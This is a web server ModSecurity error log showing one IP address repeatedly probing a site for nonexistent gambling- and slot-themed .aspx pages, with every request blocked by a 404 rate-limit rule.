[Sun Feb 01 16:06:56.609168 2026] [:error] [pid 10509:tid 10573] [client 217.182.194.3:52602] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX8JoFMNpJBihOJgwVuxgwAAAII"]
[Sun Feb 01 16:06:59.406260 2026] [:error] [pid 10616:tid 10632] [client 217.182.194.3:48184] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX8Jo2d8pZdmVx6pUp63hgAAAMw"]
[Sun Feb 01 16:07:02.308246 2026] [:error] [pid 10508:tid 10553] [client 217.182.194.3:48186] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX8JpgFwdoMQv5EWp9sTNgAAAEk"]
[Sun Feb 01 16:07:05.057886 2026] [:error] [pid 10508:tid 10547] [client 217.182.194.3:48190] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aX8JqQFwdoMQv5EWp9sTPQAAAEM"]
[Sun Feb 01 16:07:08.080917 2026] [:error] [pid 10509:tid 10579] [client 217.182.194.3:48200] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX8JrFMNpJBihOJgwVuxjgAAAIg"]
[Sun Feb 01 16:07:10.732110 2026] [:error] [pid 51610:tid 51614] [client 217.182.194.3:36606] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX8Jrt7GFdNFAqImMQDfEwAAAUA"]
[Sun Feb 01 16:07:13.750401 2026] [:error] [pid 51610:tid 51627] [client 217.182.194.3:36608] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX8Jsd7GFdNFAqImMQDfFwAAAU0"]
[Sun Feb 01 16:07:16.424847 2026] [:error] [pid 10509:tid 10591] [client 217.182.194.3:36616] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX8JtFMNpJBihOJgwVuxlwAAAJQ"]
[Sun Feb 01 16:07:19.299838 2026] [:error] [pid 10508:tid 10551] [client 217.182.194.3:50712] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX8JtwFwdoMQv5EWp9sTUgAAAEc"]
[Sun Feb 01 16:07:22.112933 2026] [:error] [pid 10509:tid 10572] [client 217.182.194.3:50726] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX8JulMNpJBihOJgwVuxnAAAAIE"]
[Sun Feb 01 16:07:25.290719 2026] [:error] [pid 10509:tid 10592] [client 217.182.194.3:50740] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX8JvVMNpJBihOJgwVuxpQAAAJU"]
[Sun Feb 01 16:07:27.893385 2026] [:error] [pid 2033:tid 2063] [client 217.182.194.3:50742] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aX8Jv_F7B4oR5nK3T_PQagAAARY"]
[Sun Feb 01 16:07:46.692297 2026] [:error] [pid 10506:tid 10533] [client 217.182.194.3:43264] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aX8J0q32IC2Db4uwFyNSPgAAABE"]
[Sun Feb 01 16:07:47.873585 2026] [:error] [pid 2033:tid 2047] [client 217.182.194.3:43266] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aX8J0_F7B4oR5nK3T_PQhQAAAQw"]
[Sun Feb 01 16:07:49.324880 2026] [:error] [pid 10508:tid 10563] [client 217.182.194.3:36184] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX8J1QFwdoMQv5EWp9sTcAAAAFM"]
[Sun Feb 01 16:07:50.295532 2026] [:error] [pid 10509:tid 10591] [client 217.182.194.3:36196] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/789%20slot.aspx"] [unique_id "aX8J1lMNpJBihOJgwVux5AAAAJQ"]
[Sun Feb 01 16:07:51.744490 2026] [:error] [pid 51610:tid 51620] [client 217.182.194.3:36208] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX8J197GFdNFAqImMQDfTAAAAUY"]
[Sun Feb 01 16:07:52.873619 2026] [:error] [pid 10509:tid 10572] [client 217.182.194.3:36224] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/888%20slot.aspx"] [unique_id "aX8J2FMNpJBihOJgwVux5wAAAIE"]
[Sun Feb 01 16:07:54.444908 2026] [:error] [pid 10509:tid 10595] [client 217.182.194.3:36234] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX8J2lMNpJBihOJgwVux6QAAAJg"]
[Sun Feb 01 16:07:55.485467 2026] [:error] [pid 10509:tid 10576] [client 217.182.194.3:36242] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all%20slot.aspx"] [unique_id "aX8J21MNpJBihOJgwVux6wAAAIU"]
[Sun Feb 01 16:07:57.235709 2026] [:error] [pid 10506:tid 10523] [client 217.182.194.3:36246] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX8J3a32IC2Db4uwFyNSUgAAAAc"]
[Sun Feb 01 16:07:58.164129 2026] [:error] [pid 10508:tid 10562] [client 217.182.194.3:36258] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aX8J3gFwdoMQv5EWp9sTeAAAAFI"]
[Sun Feb 01 16:07:59.907669 2026] [:error] [pid 10506:tid 10535] [client 217.182.194.3:35840] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX8J3632IC2Db4uwFyNSXAAAABM"]
[Sun Feb 01 16:08:00.624349 2026] [:error] [pid 10509:tid 10586] [client 217.182.194.3:35842] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aX8J4FMNpJBihOJgwVux9AAAAI8"]
[Sun Feb 01 16:08:02.719004 2026] [:error] [pid 10508:tid 10550] [client 217.182.194.3:35846] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX8J4gFwdoMQv5EWp9sTgAAAAEY"]
[Sun Feb 01 16:08:03.257911 2026] [:error] [pid 10509:tid 10574] [client 217.182.194.3:35848] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aX8J41MNpJBihOJgwVux-AAAAIM"]
[Sun Feb 01 16:08:05.765767 2026] [:error] [pid 10509:tid 10585] [client 217.182.194.3:35856] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX8J5VMNpJBihOJgwVuyAgAAAI4"]
[Sun Feb 01 16:08:05.973369 2026] [:error] [pid 51610:tid 51632] [client 217.182.194.3:35868] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX8J5d7GFdNFAqImMQDfXwAAAVI"]
[Sun Feb 01 16:08:08.523394 2026] [:error] [pid 10506:tid 10517] [client 217.182.194.3:35876] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX8J6K32IC2Db4uwFyNSZAAAAAE"]
[Sun Feb 01 16:08:08.774425 2026] [:error] [pid 51610:tid 51629] [client 217.182.194.3:35882] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aX8J6N7GFdNFAqImMQDfZwAAAU8"]
[Sun Feb 01 16:08:11.131820 2026] [:error] [pid 10508:tid 10548] [client 217.182.194.3:52878] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX8J6wFwdoMQv5EWp9sTjQAAAEQ"]
[Sun Feb 01 16:08:11.555896 2026] [:error] [pid 2033:tid 2041] [client 217.182.194.3:52884] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX8J6_F7B4oR5nK3T_PQnwAAAQY"]
[Sun Feb 01 16:08:13.966337 2026] [:error] [pid 10509:tid 10587] [client 217.182.194.3:52898] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX8J7VMNpJBihOJgwVuyEwAAAJA"]
[Sun Feb 01 16:08:14.314226 2026] [:error] [pid 10509:tid 10594] [client 217.182.194.3:52900] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX8J7lMNpJBihOJgwVuyFQAAAJc"]
[Sun Feb 01 16:08:16.711876 2026] [:error] [pid 10506:tid 10538] [client 217.182.194.3:52916] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX8J8K32IC2Db4uwFyNSdAAAABY"]
[Sun Feb 01 16:08:17.173686 2026] [:error] [pid 10509:tid 10580] [client 217.182.194.3:52920] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX8J8VMNpJBihOJgwVuyGQAAAIk"]
[Sun Feb 01 16:08:19.575780 2026] [:error] [pid 10509:tid 10594] [client 217.182.194.3:37584] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX8J81MNpJBihOJgwVuyHwAAAJc"]
[Sun Feb 01 16:08:19.980129 2026] [:error] [pid 2033:tid 2057] [client 217.182.194.3:37586] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX8J8_F7B4oR5nK3T_PQpgAAARQ"]
[Sun Feb 01 16:08:22.538501 2026] [:error] [pid 51610:tid 51616] [client 217.182.194.3:37598] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX8J9t7GFdNFAqImMQDfgAAAAUI"]
[Sun Feb 01 16:08:22.660238 2026] [:error] [pid 51610:tid 51630] [client 217.182.194.3:37612] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX8J9t7GFdNFAqImMQDfggAAAVA"]
[Sun Feb 01 16:08:25.001676 2026] [:error] [pid 10508:tid 10560] [client 217.182.194.3:37624] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX8J-QFwdoMQv5EWp9sTmwAAAFA"]
[Sun Feb 01 16:08:25.279113 2026] [:error] [pid 10508:tid 10545] [client 217.182.194.3:37632] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX8J-QFwdoMQv5EWp9sTnAAAAEE"]
[Sun Feb 01 16:08:27.737570 2026] [:error] [pid 2033:tid 2037] [client 217.182.194.3:37644] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX8J-_F7B4oR5nK3T_PQswAAAQI"]
[Sun Feb 01 16:08:28.293681 2026] [:error] [pid 10509:tid 10581] [client 217.182.194.3:37654] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX8J_FMNpJBihOJgwVuyLwAAAIo"]
[Sun Feb 01 16:08:30.586228 2026] [:error] [pid 10506:tid 10526] [client 217.182.194.3:52596] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX8J_q32IC2Db4uwFyNSiwAAAAo"]
[Sun Feb 01 16:08:31.104633 2026] [:error] [pid 10616:tid 10634] [client 217.182.194.3:52604] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX8J_2d8pZdmVx6pUp63zAAAAM4"]
[Sun Feb 01 16:08:33.340121 2026] [:error] [pid 10509:tid 10589] [client 217.182.194.3:52614] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX8KAVMNpJBihOJgwVuyPAAAAJI"]
[Sun Feb 01 16:08:33.943431 2026] [:error] [pid 10509:tid 10581] [client 217.182.194.3:52630] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aX8KAVMNpJBihOJgwVuyPgAAAIo"]
[Sun Feb 01 16:08:36.101419 2026] [:error] [pid 10506:tid 10516] [client 217.182.194.3:52634] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aX8KBK32IC2Db4uwFyNSpwAAAAA"]
[Sun Feb 01 16:08:36.449384 2026] [:error] [pid 10506:tid 10526] [client 217.182.194.3:52650] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aX8KBK32IC2Db4uwFyNSqAAAAAo"]
[Sun Feb 01 16:08:38.953134 2026] [:error] [pid 10509:tid 10591] [client 217.182.194.3:50680] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX8KBlMNpJBihOJgwVuySQAAAJQ"]
[Sun Feb 01 16:08:39.275832 2026] [:error] [pid 10509:tid 10582] [client 217.182.194.3:50696] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX8KB1MNpJBihOJgwVuyTgAAAIs"]
[Sun Feb 01 16:08:41.946983 2026] [:error] [pid 10508:tid 10563] [client 217.182.194.3:50712] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX8KCQFwdoMQv5EWp9sTtQAAAFM"]
[Sun Feb 01 16:08:42.061910 2026] [:error] [pid 10616:tid 10628] [client 217.182.194.3:50724] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX8KCmd8pZdmVx6pUp64AQAAAMg"]
